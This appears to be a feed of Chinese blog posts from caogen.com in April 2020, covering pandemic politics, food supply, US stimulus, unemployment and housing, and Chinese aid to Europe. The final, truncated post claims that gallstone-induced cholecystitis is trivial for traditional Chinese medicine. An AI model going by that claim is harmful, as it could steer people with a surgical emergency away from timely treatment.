而且有趣的是,美国各州州长以及媒体记者都可以怼特朗普总统,关键时刻,让特朗普总统的政令摇摆不定、犹豫不决。联邦政府的权力被架空,这是否预示着解体的隐患?例如中国在疫情期间将武汉封城之后,全国各省市都及时增派医疗机构与防疫物质驰援湖北武汉,增派医护人员高达4万多,在极短的时间内建立火神山与雷神山医院,以及十多家方舱医院等,做到应收尽收、应治尽治。这才象一个国家嘛!兄弟省份有难,焉有不救之理? +版权所有,欢迎转摘,转摘请注明作者和出处! + + +转《<草根网>的前途与未来 》一文的评论 +http://www.caogen.com/blog/Infor_detail.aspx?ID=773&articleId=110260 +我的栏目 +www.caogen.com +Fri, 03 Apr 2020 03:20:30 GMT +一、《草根网》的办网宗旨魏东先生《&lt;草根网&gt;的前途与未来》一文,是别开生面颇为新异的一篇文章。说其别开生面,颇为新异,是因为当代中国(甚至全世界多国)自互联网启动与不断发展后,产生数以千百万计的各类网站以来,恐怕没有任何一个网站,会在自己的网页上公开发表,研究分析与讨论自己这个网站的“前途与未来”(也就是网站的命运)的文章的吧?我没有办过私家网站不知究情,当代中国(不说世界各国)有数以千百万计的各类公办、民办(包括个人)网站,似乎大多没有公开宣称自己的“办网宗旨”和未来发展计划之类吧?可能许多网站,特别是民间办网站同人合伙集资开办网站的时候,会拟定“办网宗旨”和未来发展计划之类的吧?但我确实不知数以千百万计的各类公办、民办(包括个人)网站,会拟定出身么“办网宗旨”和未来发展计划之类?今天读到魏东先生《&lt;草根网&gt;的前途与未来》一文,才知道《草根网》有过这样的“办网宗旨”。据魏东先生文中说:“在《草根网》的“快捷通道”,“草根智库简介”中,有这样的“公告”内容《草根共识(我们的宗旨),其文曰:“有史以来,人类面临一个根本的困惑:过于精神化,乌托邦式的运动阻碍物质文明的发展,导致社会衰落;过于世俗化,功利主义泛滥、弱肉强食,造成社会动荡。我们必须整合看待自然的方式,领会人格世界的自然观、社会观和价值观。“当前,我们处在信息化、全球化的新时代。信息化加快了观念的传播,全球化加剧了社会的两极分化,两种力量相互叠加,将带来巨大冲击。只有在认同民族国家的前提下挖掘其普遍价值,才能在这场大变革中成为最终的赢家,这也就是“和谐社会”建设的根本内涵。“草根智库旨在秉承中国五千年的文化传统,坚持“推己及人”的儒家思想;“天之道,损有余而补不足”的道家理念;“关怀众生、追求智慧”的佛家精神;倡导“实践出真知”的墨家哲学。“草根智库以“建设性、中和性、开放性、服务性”为原则,汇聚同道中人,为中国的经济、社会发展建言献策。建设性,我们将致力于有关政策的完善而非简单否定;中和性,我们将致力于社会分歧的弥合而非扩大;开放性,我们的观点欢迎各界批评指正;服务性,我们的研究成果将提供决策者参考,最终转化为社会财富。“草根智库是一个全面开放的网络平台,面向每一个有良知、有社会责任感、有真知灼见、致力于国家崛起的中国人,我们期待每个人的参与。“草根智库(www.caogen.com)--来自民间的思想!”二、《草根网》取得得成就的重大意义一)《草根网》的性质的分析认识:1、《草根网》宗旨,为《草根网》办网目的,也就是定性为“草根智库”。不过这个“智库”,和中国公办的国家各类科研院所与大专院校的许多研究机构相比较,不具有具体的组织架构和研究内涵,纯属于民间社会底层次的知识群体的思想言论的自有论坛;也不同与西方资本主义国家由多种资本支助与主持的各类基金会之类的实体性组合团队;较为高大上的群团,其研究成果会易于为社会主导阶级主政集团、主流煤体所执政采纳与参考。2、所谓“智库”,按《草根网》的办网宗旨的概括:“汇聚同道中人,为中国的经济、社会发展建言献策。建设性,我们将致力于有关政策的完善而非简单否定;中和性,我们将致力于社会分歧的弥合而非扩大;开放性,我们的观点欢迎各界批评指正;服务性,我们的研究成果将提供决策者参考,最终转化为社会财富。”3、《草根网》的办网宗旨中提出的“汇聚同道中人”,实际上几乎全都是农民、工人与无产阶级知识群体,虽有部分国际国内政治和民生问题、医学、金融等各方面的专家和学者,但很少所为的西方公知与v之类的异见人士;因此这些人绝大部分都是坚决拥护中国共产党领导和社会主义制度的爱国群体,正是当代中国社会的基础。《草根网》的办网宗旨正是合符这些群体的思想要求。二)体现《草根网》的重大意义值得总结草根网诞生十多年,会对其所取得的多方面的成就,没有人进行过总结。草根网在当代中国和人类世界的精神文明财富生产和发明创造方面,取得了许多重大成就,确实值得领导集团和编辑群体认真总结。所谓的当代中国和人类世界的精神文明财富生产和发明创造,主要表现在草根网发表国的数以万计的文论中,有一部分文论是用对马克思主义的全面系统批判地继承与全面系统地建设和发展工程的研究中,在马克思主义创始人所发现的人类社会发展的千百种基本规律的基础上,新发现的万千种人类社会发展的基本规律;并从而总结出许多创新的思想。如有名叫朱定飞的文章,就提出人类运用七大类劳动形态,进行七大类文明财富生产和发明创造的规律的系统学说,就是一种文明财富生产和发明创造。在他的许多问论中,就提出人类的精神文明财富生产和发明创造出万千类产品中,最重要就是人类的思想生产的发明创新;而人类思想生产有亿千万类,最为重要的是对前人的进步的成系统的理·论思想的科学的批判继承和全面系统的建设发展和发明创新;这种发明创新,就是能超过其他几类文明财富生产与发明创造的成果,它能起到带动人类社会发展的火车头的伟大作用。人类世界(包括当代中国)进行这种文明财富生产和发明创造的机构或平台或实体,有万千种之多,而包括草根网在内的互联网,就是机构或平台之一。而互联网上的网站很多,单说国内,除了国家党政机关和主流社会与主流媒体举办的千百万网站外,其他各类公营或民营(私营)的网站也真是多如牛毛;而近20年间,最著名的所谓“门户网站”也有十数家。他们都在用万千类信息的传播和文论的发表来进行精神文明财富生产;也就都是参加了人类万千类理论思想的生产(包括可能有的先进思想的发明创新)。而互联网上的万千网站,所进行的万千类思想的生产,能数出多少是对前人的成系统的理·论思想的科学的批判继承和全面系统的建设发展与发明创新?可以说不但国内的互联网上的万千个网站,也包括全世界各国的亿千万网站所进行的亿千万类思想的生产,能数出多少是对前人的成系统的理·论思想的科学的批判继承和全面系统的建设发展和发明创新?可以说,几乎一个没有!唯独当代中国的互联网中之一家的草根网,在这方面有杰出的表现:在当代中国和人类世界的精神文明财富生产和发明创造中,在人类的先进思想生产与发明创造方面,草根网领导及编辑群体所支持帮助朱定飞发表的上千篇的博客中,对经典马克思主义的成体系的七大理·论思想系统,进行了全面系统的批判和继承;并进行了全面系统的建设和发明创新,写出了《全面系统发展马克思主义的理论思想体系研究》与《当代政治经济学论纲》两著(共400万字);并运用所创立的理论思想武器,进行实践操作,发表了对国内外1000多家各类资产阶级思想和非马克思主义思想的博客的批判文稿,产生了数千万字的理论思想成果(详细内容,可参见草根网所发表的1000多篇博客内容。)这些理论思想成果,是全世界各国没有产生过,也是古往今来独一无二的!不是自大自夸,我有博客《中国的北大清华为什么培养不出思想家》一文,分析总结出不但由于受资本主义的资产阶级思想的统治的全世界各国,再不能产生一个思想家;就是当代中国的最高学府和学术机关,却也不能产生出一个杰出的思想家。其主要原因:世界资本主义国家全都反对马克思主义这且不说;中国虽然尊奉马克思主义为指导思想,但所有大学等最高学府和全部学术机关,大多因循守旧,不敢突破体制内的条条框框,都不能对马克思主义进行全面系统的批判和继承;更不能对马克思主义进行全面系统的建设发展和发明创新。所以根本不能创立新的理论思想体系来,当然就不能产生杰出的思想家来(参见我在草根网上的博客《中国的北大清华为什么培养不出思想家?》和《中国的北大清华怎样才能培养出思想》…2018-05-08)而草根网在近几年间(从2017年10月起)却支持和帮助了朱定飞突破体制内的条条框框,科学地对马克思主义各个理论系统存在的多种缺陷和错误,进行全面系统的批判;对其合理内核进行全面系统地继承;更对马克思主义各理论系统进行全面系统的建设发展和发明创新,而创立起了有十大理论思想系统支撑的理论思想体系。因此说中国的草根网可以当之无愧地,取得了超过国内外一切网站的伟大成就!但不知道草根网领导及编辑群体,能不能发现并重视这一伟大成果?因为整个草根网发表过的《博客》有万千篇,真是汪洋大海一般,可用铺天盖地来形容。面对草根网领导及编辑群体对所发表过的数以亿计的网友的这样多的文论思想,恐怕根本无暇关注到一个草根网民朱定飞的文论的吧?更发现不了一个草根网民朱定飞文论的重大价值的吧?我曾在十多年前杠开始上网,溜览到网上的汗牛充栋的文论信息,当时观感浮浅,曾写打油诗感叹说:“网上文论尽可嗤,大多猎异与搜奇;铺天盖地肉麻趣,汪洋大海少珍稀!万人溜览蜓点水,亿众观花马走蹄!我有思想成体系,少人点击独向隅!”但当我能在网上自由地发表我的体系文章后,不禁要写文章为互联网嵩呼万岁!想到没有互联网时,无论中外各国,所有媒体与出版机构皆为社会主导阶级主政集团及其智库高层和附从的主流社会学界与主流媒体所把持,一般人根本不能发表一点思想文章;即使生产出一点精神文化产品,写作困难不说,要想抄改也要耗费无尽精力与时间;写成了,大多只能存之荚底,留于书箱,藏于穷山;少数名家或高层人士,或可出版一点文集,只能被少量人群溜览,很难流传。而现在在互联网上自由发文,动辄就有成千上万的网友点击,真可谓:“一从网上发文论,百年功罪万人知!”所以我过去在网上大量发文论,即使很少人看,而既不能有半文钱收入,也不能获得一点名气;但我始终能乐此不疲,就为感恩于这个时代!感恩于互联网给我自由发表文论的多种便利,使我获得了自己创立了理论思想体系的成就!我曾经为社会拟就了这样一幅联语:“古今人文绝艺皆是雕虫小技;中外社会思想全非理论体系!”我也为自己拟就了这样一幅联语:“应从批判臻体系,当垂空文遗万年!”我不知道草根网领导能不能发现并重视由草根网支持帮助产生的这一思想成果,并使这一成果能为草根网增添光彩。我只能祷之于天,安之于孤穷无地,而以垂空文遗万世的祈愿,自娱而已矣! +版权所有,欢迎转摘,转摘请注明作者和出处! + + +全球供应链中断粮食危机或现应该怎么办? +http://www.caogen.com/blog/Infor_detail.aspx?ID=154&articleId=110259 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:19:22 GMT +民以食为天;农业是国民经济的基础,粮食是农业的命脉;手里有粮,心里不慌;一定要把14亿人的口粮牢牢掌握在自己手中;守住18亿亩耕地红线。这些经典语言一个时期争议性不小。比如该不该守住18亿亩红线?一种观点认为,完全没有必要,只要富裕,只要有钱,就可以吃最好的泰国香米,吃最好的俄罗斯土豆,进口最好的巴西大豆,甚至最优质的加拿大小麦。这些观点一时还相当盛行而有市场、占上风。而另一些观点认为,必须坚守18亿亩耕地红线,守住14亿人的口粮来源。一个理由是一旦遇到小到贸易战制裁,大到战争封锁,如果百姓的口粮不掌握在自己国家手中,大多依靠进口,那是会饿死人的。虽然有点危言耸听,然而,万万没有想到的是贸易战不咋地,战争也没有发生,而却爆发了一场突如其来的罕见疫情。对粮食进出口等全供应链已经带来影响。目前主要的产粮国中,越南、俄罗斯、埃及均已在上周宣布暂停对外谷物出口。哈萨克斯坦也暂停了面粉、荞麦、糖、葵花籽油和部分蔬菜出口。CCTV报道,3月24日,中国最大的大米进口国越南宣布,从2020年3月24日零点开始,各种大米产品都要被列入禁止以任何形式出口。这意味着作为我国第一位的大米进口国越南,向中国关闭了出口大门。数据显示,我国大米进口前三位的国家分别是越南、泰国、巴基斯坦。接下来会有更多国家限制粮食出口。对此,一个重量级组织—联合国粮农组织(FAO)近日警告,受新冠肺炎疫情影响,如果不尽快采取措施,那么预计4月至5月就会出现粮食供应危机。FAO给出的理由是:一是由于隔离封闭粮食产量已经受到影响;二是限制人口流动、从业者“基本的避险行为”可能会影响农场运转。处理绝大部分农产品的食品加工设施也会被迫中断。三是粮食运输(无法从一地送往另一地)的问题,疫情导致动物饲料减少、屠宰场出现物资与劳工短缺而处理能力降低,从而影响畜牧业。全球运输链条已经断裂。三是全球出现的资本和消费者的疯狂囤积和抢购带来的危机。这三大原因都是实实在在和正在发生的。可以预计接下来会愈演愈烈。粮食危机最主要表现是需求远远大于供给,粮食严重缺乏,价格暴涨引发严重通胀,最终威胁到黎民百姓的基本口粮和生存。石油与粮食都是物价的基础构成。对于物价走势具有较大影响力。一场新冠病毒肺炎疫情危机导致的原油价格下降对物价具有正面影响。而粮食危机又将助推物价上涨或引发通胀。因此,如果疫情得不到有效控制,最迟5月份爆发粮食危机的可能性较大。中国会否在全球粮食危机中独善其身。权威人士认为,我国实现了“谷物基本自给、口粮绝对安全”,粮食供求总体宽松,完全能满足人民群众日常消费需求。但是油料等农副产品价格受到大豆等进口停止影响,价格较大幅度上涨难以挡住。中国和美国都是粮食生产大国,但中国粮食总产量大于美国。当然,随着中国恩格尔系数的降低,人口消费对食品的需求比重越来越低,吃饱吃好问题对粮食需求够不成压力,现在消耗粮食较大的是深加工农副产品和工业需求较大。我国每年进口粮食1亿多吨,主要以大豆、粗粮等为主,大米、小麦进口一般分别为200万吨、400万吨,占国内消费总量分别为1%至2%,主要起品种调剂作用。这种进口主要是结构性的,也是经济学上一个叫做比较优势的选择。比如,大豆进口来说,中国东北也能生产大豆,美国巴西都是大豆主产国。而相对美国巴西,中国大豆生产效率没有二者高。放弃比较优势弱的项目,生产比较优势强的农作物,是一个国际交换和效率提高的要求。由于大豆90%依靠进口,而油料、饲料等,大豆又是主要原料,从而影响到食用油和猪肉价格是必然的。食用油和肉品价格继续走高是大概率事件!这类突发事件引发的粮食危机是短暂的,只要新冠病毒肺炎疫情危机一回头,全球供应链一恢复,粮食危机就会立马远去。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +2.6万亿美国再亮三记重拳要让美元洪水滔天? +http://www.caogen.com/blog/Infor_detail.aspx?ID=154&articleId=110258 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:18:41 GMT +服了!有完没完?第一轮美联储降息0.5个百分点如泥牛入海,市场一点反应也没有;第二轮美联储把利率和存款准备金率双双降为零,并推出7000亿美元量化宽松,美股竟然以暴跌回应。显然,货币政策手段,市场不怎么买账,怎么办?姆努钦拨开鲍威尔说,你让开,我登场。第三轮以财政手段为主的强刺激隆重登场。2万亿美元法案国会通过,总统签署,正在进入实施阶段。市场有了小小反应。虽然美国疫情继续失控式增长,不过,市场对于新冠病毒肺炎疫情危机的破坏性已经产生“抗药性”,已经没有此前反应剧烈。尽管上周创纪录的首次申请失业救济数据、以及不及预期的达拉斯联储制造业指数都很令人担忧,但在3月底,美股仍然设法反弹。如果股市在坏消息集中出炉时还能反弹,那么或表明股市可能已经筑底了。总之,第三轮2万亿美元刺激法案预期效果正在显现。然而,就在2万亿美元启动实施落地之时,让市场意想不到的是美国财政部、国会和美联储已经开始酝酿启动第四轮强刺激法案,并且亮出三记重拳。第一记重拳:白宫与美国国会民主党人正在为第四轮经济刺激做准备,规模可能达到6000亿美元,以帮助美国度过冠状病毒危机。注意了!这次白宫是与民主党人讨论准备,而第三轮2万亿美元是以共和党参议院方案为主,众议院提出的2.5万亿美元规模更大方案没有被采纳,这次民主党卷土重来。6000亿美元提议包括更多的国家援助以及对抵押贷款市场和旅游业的财政援助。这些项目都击中了要害。抵押贷款市场如果不强力救助,结果就是2007年的次贷危机,进而2008年的金融危机。旅游业这次受到的伤害最严重,救助旅游业救到了关键行业。白宫和国会看得非常准确。特别应该指出的是6000亿美元包括继续向百姓直接发现金。美国众议院议长佩洛西说,第四轮经济刺激法案的重点将是经济复苏,各州和地方政府需要更多的联邦援助,进一步向普通美国人直接发钱。第二记重拳:特朗普周二(2020.03.31)表示,是时候推出“重大而激进的”基建立法议案了。他呼吁国会山出台2万亿美元基建议案。他上台以后就一直在呼吁2万亿美元基建法案。竞选时就提出美国基础设施包括网络太落后了。在美国经济遭受新冠病毒肺炎疫情危机冲击下,趁机提出2万亿美元基建法案,国会通过的可能性很大。第三记重拳:美联储推出临时回购机制,向外国央行提供美元。美联储宣布与外国央行进行临时回购便利操作,向在纽约联储开设账户的外国央行提供回购便利协议。美联储还称,将为外国和国际货币当局设立一项临时回购协议安排(FIMA),以帮助支持美国国债市场等金融市场平稳运行,从而维持对美国家庭和企业的信贷供应。美联储要学雷锋?给其他国家主动提供美元?当然,维护全球市场稳定,保持美元全球流动性充足是一个方面,美元作为国际货币,美国有这个责任,责任中也有利益。不过,这次向其他国家央行的回购便利操作,美国有私心。这个提供美元的回购便利操作是:美联储向在纽约联储开立账户的其他国家央行提供美元,这些国家央行拿美国国债抵押,到期后美联储收回货币,还回国债。试想,假日美联储不提供美元回购便利操作,那么缺乏美元流动性的国家会怎么做?卖掉美国国债,筹集美元流动性。那么,美国国债价格就会大跌,收益率上升,美国还债成本大幅度提高,而且发放新国债或遭遇买家不足的局面。因此,美联储让你把国债抵押出来,美联储给你美元,你就不会也不能抛售美国国债,而且美联储还能收取一笔回购费用呢。一举多得,美联储如意算盘打得不错。美国先后四轮刺激计划,直接了当的说就是放水美元,直升机疯狂撒钱。假如四轮强刺激全部实施,美国经济百姓会安然度过新冠病毒肺炎疫情危机。而全球美元流动性会否洪水滔天?其结果就不言而喻,不用赘述了! +版权所有,欢迎转摘,转摘请注明作者和出处! + + +2月失业率达6.2%,房价还会涨吗? +http://www.caogen.com/blog/Infor_detail.aspx?ID=495&articleId=110257 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:17:54 GMT +近期,国务院新闻办举办新闻发布会,国家统计局国民经济综合统计司司长、新闻发言人毛盛勇表示,2020年2月份,全国城镇调查失业率为6.2%,约4340万人,这个数据较2019年全年的平均失业率3.62%涨幅达到了71%。资料显示,中国目前约有7个亿的劳动人口,按照6.2%的比例计算,失业人数达到了4340万人,2月份的失业主要是由于国内爆发疫情,多数企业和商店无法正常开工所致。本来决定3月份全国复工之后,失业率会逐步下降,但是3月份的海外疫情的总爆发,使得国内所有的外贸型企业变得生意惨淡。尽管中国2月份失业率增至6.2%,但是在全球疫情面前,失业率上升是所有国家的一致表现,并非我国一家独有。美国劳工部3月26日宣布,美国首次申请失业救济金人数创纪录,达到328万。而摩根士丹利估计,美国二季度平均失业率为12.8%,为自上世纪40年代有现代记录以来的最高水平。主要是新冠疫情爆发之后,很多疫情严重的州都隔离起来。再加上美国出现经济通缩,失业率出现较高情况并不奇怪。现在问题是,国内失业率升至6.2%,约有几千万人失业,房价还会涨吗?对此,我们认为,这些网友是被国内房价给涨怕了。实际上,2月份失业率增于6.2%并不足虑,如果3月份的失业率在原来的基础上还是快速上涨的话,那对国内的房价来讲,这绝对不是好消息:第一,国内失业率在不断上升,人们找工作,养家糊口都有困难,还可能去想着买房吗?如果过去还想着要改善一下居住条件,恐怕现在也不想了,因为现在很多企业不是降薪,就是辞退,能保住一份稳定的收入就不错了。大家现在都是疫情过后,重新恢复之中,所以,至少在年内,人们购房的需求会直线下降。所以,疫情过后,房价非但不会上涨,而且会下跌。第二,现在是国内的疫情控制住了,国际上的输入型疫情又来了,国内经济下行情况明显,要想恢复尚需时日。人们买房是买预期,在目前这种预期不好的情况下,更多的人是处于一种观望状态,出手购房的人少了,投机性购房者也退出了。目前房地产市场较为冷清,再加上国内房地产调控还在继续。所以,现在人们对房价上涨预期已经改变,房价只有下跌可能。第三,新冠疫情在国内爆发后,开发商们不得不一直停工歇业。而等到复工之后,开发商要使尽一切办法把库存商品房给卖出去,因为房企手里的新房若是买不出去,会使房企的资金链断裂,更可怕的是,由于前些年的疯狂贷款拿地建房,今年房企的债务集中到期,如果不把房价降价销售,很多房企都有可能破产倒闭。第四,在新冠疫情结束之后,很多企业主都面临着生存困难的问题,企业主急需要融到资金,于是只能将自己手上的房产变现。所以,现在很多办企业、开商店的老板,把自己原来囤积的房产打折出售,以求自保。未来国内房地产业是供大于求,而不是供不应求,所以房价必跌无疑。实际上,经济下行,失业率上升,对于高房价来説并不是什么好事情,相反,失业率高会使更多的人偿还房贷发生困难,部分房源还会通过法院拍买的方式而出售。原来的改善型需求、投机性需求都退出了,房地产市场一下子,进入供大于求的情况。更要命的是,经济不景气,就会有很多人抛售原来囤积的房产出售,以及开发商为了回笼资金降价销售,这使得整个房地产市场将处于一个长期调整的过程中。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +收到中国援助物资,却翻脸不认人是啥心态? +http://www.caogen.com/blog/Infor_detail.aspx?ID=495&articleId=110256 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:15:34 GMT +最近一段时间,中国无私地向80多个疫情严重的国家提供医疗物资、医疗技术等援助。但有许多欧洲国家,不仅不感恩,还立马翻脸不认人。比如波兰政府在接受我国无偿援助的1万份核酸检测试剂盒和2万个医用口罩之后,堂而皇之地禁止了中国电子商务平台,在波兰销售口罩等医疗物资。还抹黑中国称,中国对外援助的口罩和检测试剂等物资质量不合格。此外,中国还向法国无偿提供了100吨的医疗物资,还优先向法国出口10亿个口罩。同时,中国驻法国大使卢沙野还公开表示,如果法国有需要,中国愿意向法国派遣抗疫医疗专家组来法国,帮助法国防控新冠肺炎疫情。但是,法国的一位部长却大放厥词,称中国对急需帮助的疫情国家提供医疗物质是在搞宣传,操纵他国民意。现在很多中国网友就搞不明白了,我国中国武汉发生重大疫情,你们欧美国家多数是袖手旁观,如今我们中国把疫情控制下去,不仅给世界做了贡献,而且还和你们一起抗击疫情,为什么欧美多数国家非但不领中国的这份情,而且还要在接受我们的援助后翻脸不认人呢?他们究竟抱有一种什么心态呢?对此,我想就此给大家深入分析一下:首先,欧洲很多国家政府,由于刚开始对疫情不够重视,现在疫情闹得一发不可收拾,想把这个责任黑锅甩给中国,这样才样能转移他们国内的矛盾,少负些疫情失控的责任。英国的主流媒体《每日电讯报》在近期先后发表了多篇攻击诋毁中国帮助的报道,恶毒地攻击“中国刻意瞒报疫情,致使英国疫情防控延误”。欧洲国家的一些政府,他们不仅不懂得感恩中国,还认为中国送给他们的援助物资是为了“赎罪”,真是好心没好报。再者,还有一些欧洲国家把中国的善意援助,当作中国想分化欧盟内部团结的意图,这也实在太冤。德国的一些主流媒体则指责中国“正在扮演雪中送炭的角色,同时也在攻占一个又一个的欧盟桥头堡”。与此相映成趣的是瑞典的一位驻欧盟外交官谴责塞尔维亚总统武契奇只感恩中国的援助,却闭口不谈欧盟对塞尔维亚的帮助,迫使武契奇总统出面澄清。最后,西方国家的对外援助通常都附加了苛刻的有政治目的附加条件。比如,某大国在经济上援助某中小国家,同时也要在这个国家的政治方面获得相应回报,很少有无私援助的事情发生。但中国向急需帮助的80多个疫情国,无私援助了紧缺的医疗物资,却还持续遭到得到一些欧洲国家的诋毁。受到援助的国家通常会这么想:你们这么作想干什么?是不是对我们还另有企图?面对中国无私援助欧洲国家防疫物资,多数欧洲国家并没有丝毫的感恩之心,有的人认为是想分化欧洲的共盟关系,有的人想把这场疫情的罪过转嫁给中国,缓解自己国家的内部矛盾。还有的国家担心中国捐献物资有什么企图?反正什么样的心态都有。不过,我们认为,中国以后应该多捐给那些懂得感恩的国家,还有就是,公道自在人心,中国在这次疫情期间,为国际社会和全人类做出的贡献是有目共睹的,这是欧美国家都无法诋毁得了的。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +不打工的周某人,虽非豪杰也周成 +http://www.caogen.com/blog/Infor_detail.aspx?ID=668&articleId=110255 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:14:53 GMT +很快,偷电瓶的周某人就要出狱了。按理说一个偷东西的无耻之徒,应该受到世人唾弃,但恰恰相反,此人却在网络上有巨大名气。因为他的一句话,打工是不可能打工的,引起了众人的共鸣。而且,其他人这样想,但是还是去打工,而他这样想,也是这样做的,宁愿偷电瓶谋生,受千夫所指,也不低头打工。这就是知行合一,圣人境界了。自己心里认为正确的选择,就去那样做,而且还是受着非议,当着反面人物,这种压力不可谓不大。天下间不喜欢打工的人多了,而能像他一样的人太少了,而且他还表达了出来,一时间惊世骇俗,可谓义言一出见英明。所以他被网友视为思想家,哲学家。其实最早对打工进行反抗的不正是我们的革命导师马克思先生吗?他看到人们打工的痛苦,想要解救全人类,所以才研究出社会主义的思想,传播世界。他说,未来人们是因为需要而工作,因为兴趣和喜欢而工作,那才是正常的。而剥削人的,令人痛苦的工作人们是本能抗拒和拒绝的,但是无数人为生活所迫,不得不接受。他们的出路在哪里?看不到希望的人,沉沦了,而周某人则点起了亮光和希望,哪怕人们知道他是不对的,也要为他的坚持而鼓掌,为他的反抗而喝彩。他是平民的英雄!而且,他没有一副苦大仇深的样子,他能感觉生活的美好并乐观对待,这种反差更是感染了大家。我当过保安,洗过盘子,我曾干了半天流水线,立即辞工走人。因为那太违反人性了,不但一直不停,还不许说话,管理者以辱骂和嘲讽为手段,也伤害着人的自尊。我没有去偷东西,但我有长期的时间在啃老,我写文章支持大批的啃老者。这些人和周某人有着本质上的契合。我不愿干的,谁也不能强加。周某人只是千千万万人中的一个代表。人们把荣耀送给他,财富将唾手可得,因为他已经是代表一个现象的超级网红了。这是人们对他的奖励,因为他忠于自己的内心,他是说真话的人。这样的人如果被生活压垮了,那是人类的悲剧和损失。当他即将归来,无数人准备迎接的时候,这一副时代画面就形成了,这是历史的呼唤,人心的呐喊。我不由得就想到一句话,虽非豪杰也周成!这不就是为他所准备的最好注脚吗? +版权所有,欢迎转摘,转摘请注明作者和出处! + + +跨界经营非常态,企业需早做打算 +http://www.caogen.com/blog/Infor_detail.aspx?ID=764&articleId=110254 +我的栏目 +www.caogen.com +Fri, 03 Apr 2020 03:14:03 GMT +疫情发生以来,不少企业开始跨界经营。据了解,目前,国内已有3000多家企业宣布“跨界”,“口罩、防护服、消毒液、测温仪、医疗器械”等业务成为跨界热点。此外,受到冲击的餐饮等行业也在积极求变,采用“外卖”、半成品等方式展开自救。然而,随着疫情形势的变化、复工复产工作的推进,各行各业逐渐恢复正常。跨界企业迈出的步子是收回来,还是继续往前走?跨界成本几何?效果如何?(3月30日《工人日报》)加油站卖菜、车企生产口罩、化妆品公司生产消毒液、影院卖防疫物资等等,类似企业跨界经营的现象,在疫情期间比比皆是,几乎成为了普遍现象。由于疫情令社会经济按下“暂停键”,各行各业均陷入停滞状态,部分企业看到防疫物资紧缺,为了抗疫所需,开始主动增加相关业务;还有一些企业则是基于自保,被迫采取跨界经营的策略,以挖掘现有资源潜力,拓宽经营范围,增加收入来源,保障员工有事做,避免大规模裁员。企业跨界经营无论是主动还是被动,都是基于生存和发展所需,在疫情这种特殊时期,活下去是首要目标。至于如何更好地生存,则取决于企业的整体实力,以及经营策略。实力强大的企业,可以大胆尝试跨界,开拓新市场,或者为了履行社会责任,积极投入战“疫”物资供应。这种跨界选择,往往需要付出巨大的代价,尝试成本高,费用支出很大,回报并不理想,但收获了社会荣誉和口碑,为将来打下基础。在正常秩序的市场环境下,企业也经常会有跨界经营的策略,但都是为了扩张边界、提高收入和盈利,也就更有计划和目标。跨界经营的市场风险很大,企业进入一个全新的领域,与之前的业务关联较弱,往往发挥不出原有优势,难以形成1+1&gt;2的效果,如果经营不善,反而会造成巨额亏损,只能败走麦城了。而在疫情期间,企业跨界经营大都是应急所需,本就缺乏长远战略规划,更遑论长期盈利了。在疫情逐渐被控制住,各行各业开始快速复工复产之际,企业也需要尽快对跨界经营项目重新审视,评估是否还有必要继续经营下去。毕竟现在许多行业都是产能过剩,经营者众多,跑道过于拥挤,很难容下新的竞争者。而且,企业跨界经营大都只是应急需要,与其它对手相比,未必有足够的竞争力,长期比拼下去的话,可能就会陷入亏损泥潭之中。比如目前几千家企业跨界做口罩,迅速推高产能,缓解了口罩供应压力,但疫情过后,必然会造成产能过剩,价格大幅下跌,跨界者就会失去竞争力,还是早日做好退出的准备为妙。非常时期的跨界经营,本身就不是常态化现象,就不能跟平日一样核算,需采取应急机制下的核算体系,方可权衡整体利弊,究竟是赚钱还是赚了名声,企业都要有一个清晰明了的结论,避免成为一个糊涂账。而且,如果明确疫后退出的打算,就应制定好跨界项目退出计划和时间表,按照疫情的发展形势,一步步落实,从而达到有的放矢,防范拖延过久而贻误时机。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +艺术展现与学术研究相结合 +http://www.caogen.com/blog/Infor_detail.aspx?ID=432&articleId=110253 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:13:06 GMT +3月31日,鄂尔多斯学研究会和鄂尔多斯马头琴与努土格艺术研究会在伊金霍洛旗水岸新城澄园举办“艺术展现与学术研究相结合”座谈会,围绕合作开展鄂尔多斯学研究以及共同宣传弘扬鄂尔多斯文化艺术等进行了热烈讨论。与会人员达成共识,即通过走进农村牧区、城镇社区、学校、企业等,特别是通过网络视频,开展“唱响百首鄂尔多斯经典民歌”活动,并且以此为切入点,对鄂尔多斯民歌主要特色、基本规律以及在改善人的自身自然条件方面发挥作用等进行系统性深入研究。鄂尔多斯学研究会专家委员会副主任兼秘书长包海山、委员巴图,鄂尔多斯马头琴与努土格艺术研究会会长(鄂尔多斯歌舞团艺术总监、国家一家演奏家)巴图吉日嘎拉,副会长额尔登达来,会员阿日并达来等参加座谈会。(学言) +版权所有,欢迎转摘,转摘请注明作者和出处! + + +再论张伯礼院士胆留武汉,中医何去何从? +http://www.caogen.com/blog/Infor_detail.aspx?ID=572&articleId=110252 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:12:19 GMT +我写了篇文章《中医人情何以堪,张伯礼院士把胆留在了武汉&lt;https://mp.weixin.qq.com/cgi-bin/home?t=home/javascript:void(0);&gt;》,得到大部分读者的认可,也有个别不认可的,在公众号留言说:“请不要随便说吧,张是梗阻性胆结石,且是72岁高龄。人家不是胆囊炎。可惜呀!”我回复说:“只有胆结石不会痛,胆结石致胆囊炎才会有症状,即使这样,对中医而言也是小菜一碟。”对方反驳说:“梗阻性胆结石会痛,加上胆囊炎会更痛。张乃高龄之人,且身负重任,临机决定,也是有因缘的。况且要为尊者丶长者讳吧。”据中国青年网2020年3月6日报道,张伯礼院士:“2月16日,因劳累过度引发胆囊旧疾,……2月18日,为张伯礼手术时发现,他的胆囊已经化脓、胆管结石嵌顿坏疽了……“张院士不仅仅是胆囊炎,还是胆石症。我们不妨从中医角度分析胆石症的病机病因、辩证、方药和疗效。西医的胆石症属于中医的”胁痛、胆胀”的范畴。胆石症的中医病因:1、肝郁气滞:情志不遂,肝失调达,疏泄不利,气机阻滞,不通则痛,故见胁痛。2、肝胆湿热:外邪内侵,或饮食不节,以致湿热之邪蕴结于肝胆,久煎成石,阻于肝胆,肝胆失于疏泄条达,而致胁痛。胆石症的中医病机:胆石为病,肝失疏泄,胆失通降,不通则